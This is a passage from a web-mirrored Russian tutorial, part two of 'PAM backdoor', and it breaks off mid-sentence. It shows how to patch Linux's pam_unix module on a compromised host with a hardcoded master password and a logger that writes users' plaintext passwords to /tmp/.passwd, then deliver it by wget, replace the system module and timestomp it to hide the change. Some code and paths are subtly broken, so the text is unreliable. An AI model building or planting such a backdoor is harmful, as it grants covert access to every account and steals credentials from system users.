{"id":367238,"date":"2024-05-21T03:16:53","date_gmt":"2024-05-21T03:16:53","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=367238"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=367238","title":{"rendered":"<span>PAM backdoor by artrone \u0427\u0410\u0421\u0422\u042c 2\/2<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><strong>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435!<\/strong>\u00a0\u0421<em>\u0442\u0430\u0442\u044c\u044f \u043d\u0435\u0441\u0451\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f \u043f\u043e \u0437\u0430\u043a\u043e\u043d\u0443<\/em><\/p>\n<p>\u0414\u043e\u0431\u0440\u043e \u043f\u043e\u0436\u0430\u043b\u043e\u0432\u0430\u0442\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u0438 &#171;PAM backdoor&#187;. \u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u043c\u044b \u043e\u0431\u0441\u0443\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 PAM (Pluggable Authentication Modules) \u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0434\u043b\u044f PAM. \u0412 \u044d\u0442\u043e\u0439 \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u043c\u044b \u043f\u043e\u0439\u0434\u0451\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439.<\/p>\n<p>\u041a\u0442\u043e \u043d\u0435 \u0447\u0438\u0442\u0430\u043b \u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c,<a href=\"https:\/\/habr.com\/ru\/articles\/791240\/\" rel=\"noopener noreferrer nofollow\"> \u0432\u0430\u043c \u0441\u044e\u0434\u0430<\/a>.<\/p>\n<h3>\u0421\u043f\u043e\u0441\u043e\u0431 2. \u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u044f<\/h3>\n<p>\u0415\u0441\u043b\u0438 \u043d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043f\u0440\u043e\u0448\u043b\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e, \u0442\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 &#171;\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430&#187;, \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 <code>common-auth<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c <code>pam_unix.so<\/code><\/p>\n<pre><code>cat su  @include common-auth<\/code><\/pre>\n<pre><code>cat sshd  # Standard Un*x authentication. @include common-auth<\/code><\/pre>\n<pre><code>cat sudo-i  @include common-auth<\/code><\/pre>\n<p>\u0438 \u0442.\u0434.<\/p>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0432\u043e\u0442 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432 common-auth, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0434\u043b\u044f \u0447\u0435\u0433\u043e \u043e\u043d \u043d\u0443\u0436\u0435\u043d \u0438 \u0441 \u0447\u0435\u043c \u0435\u0433\u043e \u0435\u0434\u044f\u0442:<\/p>\n<pre><code>#\/etc\/pam.d\/common-auth - authentication settings common to all services # # This file is included from other service-specific PAM config files, # and should contain a list of the authentication modules that define # the central authentication scheme for use on the system # (e.g., \/etc\/shadow, LDAP, Kerberos, etc.).  The default is to use the # traditional Unix authentication mechanisms.<\/code><\/pre>\n<p>\u0410 \u0432\u043e\u0442 \u0438 \u0441\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d:<\/p>\n<pre><code>cat common-auth  auth    [success=1 default=ignore]      pam_unix.so nullok<\/code><\/pre>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439:<\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a <code>pam_unix.so<\/code><\/p>\n<\/li>\n<li>\n<p>\u041c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u043c\u0435\u043d\u044f\u0435\u043c &#171;\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442&#187; \u043d\u0430 \u0441\u0432\u043e\u0439<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0444\u0438\u0442!<\/p>\n<\/li>\n<\/ol>\n<h3>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435<\/h3>\n<p><em><u>UPD: \u0414\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0431\u0443\u0434\u0443 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 Remote \u0432\u0435\u043a\u0442\u043e\u0440 (\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e).<\/u><\/em><\/p>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441\u0445\u0435\u043c\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f: \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0445\u043e\u0441\u0442 \u0438 \u0445\u043e\u0447\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ee0\/d5d\/c86\/ee0d5dc86041e2640f2d571d6f51e288.png\" width=\"637\" height=\"427\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ee0\/d5d\/c86\/ee0d5dc86041e2640f2d571d6f51e288.png\"\/><\/figure>\n<h4>1. \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432<\/h4>\n<p><em>\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0436\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043d\u0430 \u0441\u0432\u043e\u0451\u043c \u0445\u043e\u0441\u0442\u0435<\/em><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u044e:<\/p>\n<pre><code> dpkg -l | grep pam ii  libpam-gnome-keyring:amd64                     42.1-1+b2                            amd64        PAM module to unlock the GNOME keyring upon login ii  libpam-modules:amd64                           1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM ii  libpam-modules-bin                             1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM - helper binaries ii  libpam-runtime                                 1.5.2-9.1                            all          Runtime support for the PAM library ii  libpam0g:amd64                                 1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules library ii  libpam0g-dev:amd64                             1.5.2-9.1ubuntu1                         amd64        Development files for PAM \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u0432\u0435\u0440\u0441\u0438\u044f PAM 1.5.2<\/code><\/pre>\n<pre><code>wget https:\/\/github.com\/linux-pam\/linux-pam\/releases\/download\/v1.5.2\/Linux-PAM-1.5.1.tar.xz<\/code><\/pre>\n<p>*\u0432\u0435\u0440\u0441\u0438\u044e \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0435 \u0441\u0430\u043c\u0438<\/p>\n<pre><code>tar -xf Linux-PAM-1.5.2.tar.xz<\/code><\/pre>\n<pre><code>cd Linux-PAM-1.5.2\/modules\/pam_url<\/code><\/pre>\n<p>\u0421\u0440\u0435\u0434\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f <code>pam_unix<\/code>, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 :<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a24\/ae1\/6ae\/a24ae16aef340488fe47331c8f9e5f2b.png\" width=\"570\" height=\"211\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a24\/ae1\/6ae\/a24ae16aef340488fe47331c8f9e5f2b.png\"\/><\/figure>\n<h4>2. \u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f<\/h4>\n<p>\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0435\u0433\u043e:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c5b\/78b\/9e7\/c5b78b9e7d701f501802d7cfb05e1702.png\" width=\"883\" height=\"670\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c5b\/78b\/9e7\/c5b78b9e7d701f501802d7cfb05e1702.png\"\/><\/figure>\n<p>\u041d\u0430\u0445\u043e\u0434\u0438\u043c 172-\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u043a\u043e\u0434, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u044f<\/p>\n<pre><code>if (strcmp(p, \"the-world-is-yours\") != 0)  retval = _unix_verify_password(pamh, name, p, ctrl); else retval = PAM_SUCCESS;<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a:<\/p>\n<pre><code>retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; if (strcmp(p,\"magic\") == 0) retval = PAM_SUCCESS; <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a55\/077\/9a7\/a550779a74f66c9f8246a5ae1347fff9.png\" width=\"562\" height=\"151\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a55\/077\/9a7\/a550779a74f66c9f8246a5ae1347fff9.png\"\/><\/figure>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043c\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u044f. \u0415\u0441\u043b\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u0442\u0438\u043f\u043e: &#171;\u0415\u0441\u043b\u0438 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 &#8216;bye&#8217; \u0440\u0430\u0432\u043d\u044b \u043d\u0443\u043b\u044e, \u0442\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u043d\u043e &#8216;PAM_SUCCESS&#8217; &#171;.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043a\u0430\u0442\u0438\u043c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:<\/p>\n<pre><code>if (retval == PAM_SUCCESS) {  FILE *fd;  fd = fopen(\"\/tmp\/.passwd\", \"a\");  fprint(fd, \"%s:%sn\", name, p);  fclose(fd);  }<\/code><\/pre>\n<p>\u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0442\u0430\u043a:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a98\/8ec\/16c\/a988ec16c2c810520e5655c47599d21e.png\" width=\"624\" height=\"276\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a98\/8ec\/16c\/a988ec16c2c810520e5655c47599d21e.png\"\/><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043b\u043e\u0433\u0438 \u0431\u0443\u0434\u0443\u0442 \u043b\u0435\u0442\u0435\u0442\u044c \u0432 \/tmp\/.passwd<\/p>\n<h4>3. \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f <\/h4>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044f \u0438\u043c\u0435\u044e \u0434\u0432\u0435 \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b (\u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e PAM): kali \u0438 xubuntu, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u043d\u0430 kali \u043d\u0435 \u043f\u043e\u0434\u043e\u0439\u0434\u0435\u0442 \u0434\u043b\u044f xubuntu \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442. \u0412\u0430\u0441 \u0431\u0443\u0434\u0443\u0442 \u0436\u0434\u0430\u0442\u044c \u044d\u0442\u0438 \u043f\u044f\u0442\u044c \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0445 \u0441\u043b\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 &#171;Permission denied, please try again.&#187;&#8230;<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e- \u043e\u0442\u043f\u0438\u0448\u0438\u0442\u0435\u0441\u044c. \u0411\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c.<\/p>\n<pre><code>cd Linux-PAM-1.5.2<\/code><\/pre>\n<pre><code>.\/configure<\/code><\/pre>\n<pre><code>make<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0445\u043e\u0447\u0443 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0440\u044f\u0434\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c:<br \/>1.<code> Fatal error: rpc\/rpc.h: No such file or directory<\/code><\/p>\n<p>\u0424\u0438\u043a\u0441: <\/p>\n<pre><code>apt install libntirpc-dev dpkg -L libntirpc-dev<\/code><\/pre>\n<p>2. <code>In file included from \/usr\/include\/tirpc\/rpc\/rpc.h, from yppasswd_xdr.c error: unknown type name 'int32_t'<\/code><\/p>\n<p>\u0424\u0438\u043a\u0441: <\/p>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 yppasswd_xdr.c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c <\/p>\n<pre><code>#include &lt;stdint.h><\/code><\/pre>\n<p>3. <code>In file included from \/usr\/include\/tirpc\/rpc\/rpc.h, from yppasswd_xdr.c error: unknown type name 'u_int32_t'<\/code><\/p>\n<p>\u0424\u0438\u043a\u0441:<\/p>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 \/usr\/include\/tirpc\/rpc\/types.h \u043c\u0435\u043d\u044f\u0435\u043c <code>u_int32_t<\/code> \u043d\u0430 <code>uint32_t<\/code><\/p>\n<h4>4. \u0417\u0430\u043c\u0435\u043d\u044f\u0435\u043c &#171;\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442&#187; \u043d\u0430 \u0441\u0432\u043e\u0439<\/h4>\n<p>\u0418\u0442\u0430\u043a, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 \u0444\u0430\u0439\u043b pam_unix_auth.c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0437\u0430\u043a\u0438\u043d\u0443\u0442\u044c \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0445\u043e\u0441\u0442 \u043f\u0430\u043f\u043a\u0443 \u0441 PAM&#8217;\u043e\u043c<\/p>\n<pre><code>tar -zcvf temp.tar.gz Linux-PAM-1.5.2<\/code><\/pre>\n<pre><code>python3 -m http.server<\/code><\/pre>\n<pre><code>wget http:\/\/ip:8000\/temp.tar.gz<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435, \u0434\u0435\u043b\u0430\u0435\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438\u0437 \u043f\u0443\u043d\u043a\u0442\u0430 <strong>3<\/strong>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0438 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u043c \u0435\u0433\u043e:<\/p>\n<pre><code>tar -xvf temp.tar.gz<\/code><\/pre>\n<pre><code>mv Linux-PAM-1.5.2\/modules\/pam_unix\/.libs\/pam_unix.so \/lib\/x86_64-linux-gnu-security<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u0434\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u0430:<\/p>\n<pre><code>chmod 644 pam_unix.so<\/code><\/pre>\n<pre><code>touch -r \/lib\/x86_64-linux-gnu\/security\/pam_access.so \/lib\/x86_64-linux-gnu\/security\/pam_unix.so<\/code><\/pre>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4bf\/886\/e26\/4bf886e2696082d9ba035c227b9899a9.png\" width=\"501\" height=\"180\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4bf\/886\/e26\/4bf886e2696082d9ba035c227b9899a9.png\"\/><\/figure>\n<p><em>\u041d\u0443 \u0438 \u0447\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c.<\/em><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/aa9\/39e\/718\/aa939e718874065fabb0cee8f6399f56.png\" width=\"648\" height=\"392\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aa9\/39e\/718\/aa939e718874065fabb0cee8f6399f56.png\"\/><\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u043b\u044f \u043b\u044e\u0431\u044b\u0445 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/be7\/637\/78a\/be763778ab9455059833aa430dd93495.png\" width=\"636\" height=\"693\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/be7\/637\/78a\/be763778ab9455059833aa430dd93495.png\"\/><\/figure>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u043c\u044b \u043d\u0435 \u0437\u0430\u0434\u0430\u0432\u0430\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u043e\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u043e\u0433 \u0432\u043e\u0439\u0442\u0438. \u0422\u0430\u043a\u0436\u0435 \u0438 \u0434\u043b\u044f su:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a8b\/3f7\/a62\/a8b3f7a622eda47435eec6d2b1329389.png\" width=\"599\" height=\"143\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a8b\/3f7\/a62\/a8b3f7a622eda47435eec6d2b1329389.png\"\/><\/figure>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h3>\n<p>\u041a\u0430\u043a \u044f \u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0436\u0435\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0445\u043e\u0441\u0442\u0435 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f. \u041f\u043e\u043c\u0438\u043c\u043e \u044d\u0442\u043e\u0433\u043e, \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043d\u043d\u044b\u0445 \u043a\u0430\u0437\u0443\u0441\u043e\u0432 (\u043e\u0448\u0438\u0431\u043a\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043b\u0438\u0448\u043d\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p><em>UPD: \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u043f\u044b\u0442 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0430 